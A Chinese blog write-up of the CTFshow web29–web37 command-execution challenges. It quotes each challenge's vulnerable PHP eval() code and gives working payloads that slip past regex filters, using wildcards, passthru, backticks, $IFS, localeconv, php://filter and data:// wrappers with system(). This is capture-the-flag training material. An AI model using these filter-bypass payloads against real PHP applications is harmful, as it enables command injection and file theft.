CTFSHOW WEB入门 命令执行 web29-web36

web29

题目描述

 审计

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

主要是进行了对flag的过滤,所以使用通配符来绕过

1、执行系统命令

system:执行系统命令

http://ec01fa2a-e9a2-4d02-b42b-a19d6c8c3a35.challenge.ctf.show/?c=system(%22ls%22);

发现flag.php

2、将flag.php复制到1.txt

​​​​​​http://ec01fa2a-e9a2-4d02-b42b-a19d6c8c3a35.challenge.ctf.show/?c=system(%22cp%20fla?.txt%201.txt%22);

3、查看flag

http://ec01fa2a-e9a2-4d02-b42b-a19d6c8c3a35.challenge.ctf.show/1.txt

 web30

审计

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

这次过滤了system函数还要php

所以我们可以看一看php还有其他那些命令执行的函数

system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub)  //第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open();//详细用法百度吧
pcntl_exec();//如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号//(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)

(119条消息) php 执行命令函数_哈尔滨洛弘科技有限公司的博客-CSDN博客_php命令执行函数

所以尝试使用别的命令执行函数

发现passthru()可以用,所以

1、查看文件

http://85ac1890-2027-4ca0-87be-a033538dbe10.challenge.ctf.show/?c=passthru("ls");

2、 将flag.php复制到2.txt

http://85ac1890-2027-4ca0-87be-a033538dbe10.challenge.ctf.show/?c=passthru(%22cp%20fla?.???%202.txt%22);

3、查看2.txt

​​​​​​http://85ac1890-2027-4ca0-87be-a033538dbe10.challenge.ctf.show/2.txt

web31

审计

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

主要是这次把空格和.也过滤了

linux适用空格绕过< 、<>%0a(回车)、%20(space)、 %09(tab)、$IFS$9、 ${IFS}$IFS{cat,/etc/passwd}

1、过滤了system所以还是用passthru来查看下文件

http://d66a5206-8a5c-454d-af7e-0e5f9d665149.challenge.ctf.show/?c=passthru(%22ls%22);

2、因为过滤了.所以要使用.怎么办呢

使用localeconv()这个函数,返回的第一位是小数点字符,使用这个就可以了

3、?c=print_r(show_source(scandir(current(localeconv()))[2]));

这样就可以得到flag.php

再show_source得到flag

?c=print_r(show_source(scandir(current(localeconv()))[2]));

尝试一下别的方式(看下别人的wp)

1、?c=echo(`more%09fl*`);       页面里看不到,因为被当做php代码放在源码那里         

2、?c=eval($_GET[1]);&1=system("nl flag.php");

3、?c=print_r(show_source(scandir(dirname(__FILE__))[2]));

4、?c=echo`strings%09f*`;

5、?c=echo(`strings%09f*`);

6、?c=echo(`strings\$IFS\$9f*`);

web32

审计

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

这次又多过滤了

`echo;(

1、首先构造文件包含的payloadhttp://3ad2c154-7824-424e-a23c-93d93dadc357.challenge.ctf.show/?c=include%0a$_POST[1]?>

2、然后需要利用php伪协议读取文件

1=php://filter/read=convert.base64-encode/resource=flag.php

另一个姿势

1、第一步和上面一样

2、第二步使用data伪协议

1=data://text/plain,<?php%20system("cp flag.php 1.txt");?>

3、访问1.txt得到flag

web33

和32一样,通杀

web34

一样通杀

WEB35

还是一样

WEB36

过滤了0-9,所以$_POST[1]改成$_POST[a]就可以了

WEB37

第一步

?c=data://text/plain,<?php system("ls");?> 

第二步

?c=data://text/plain,<?php system("cp fla* 1.txt");?> 

web32hint:

c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php

web33hint:

c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64- encode/resource=flag.php

web34hint: 

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35hint:

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36hint:

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值